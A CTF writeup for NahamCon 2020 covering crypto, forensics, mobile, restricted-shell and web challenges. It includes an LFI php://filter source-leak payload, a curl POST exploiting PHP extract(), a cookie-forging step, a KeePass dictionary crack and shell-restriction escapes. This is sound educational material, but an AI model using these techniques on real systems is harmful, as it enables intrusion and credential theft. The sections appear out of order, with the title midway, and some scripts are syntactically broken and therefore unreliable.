Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
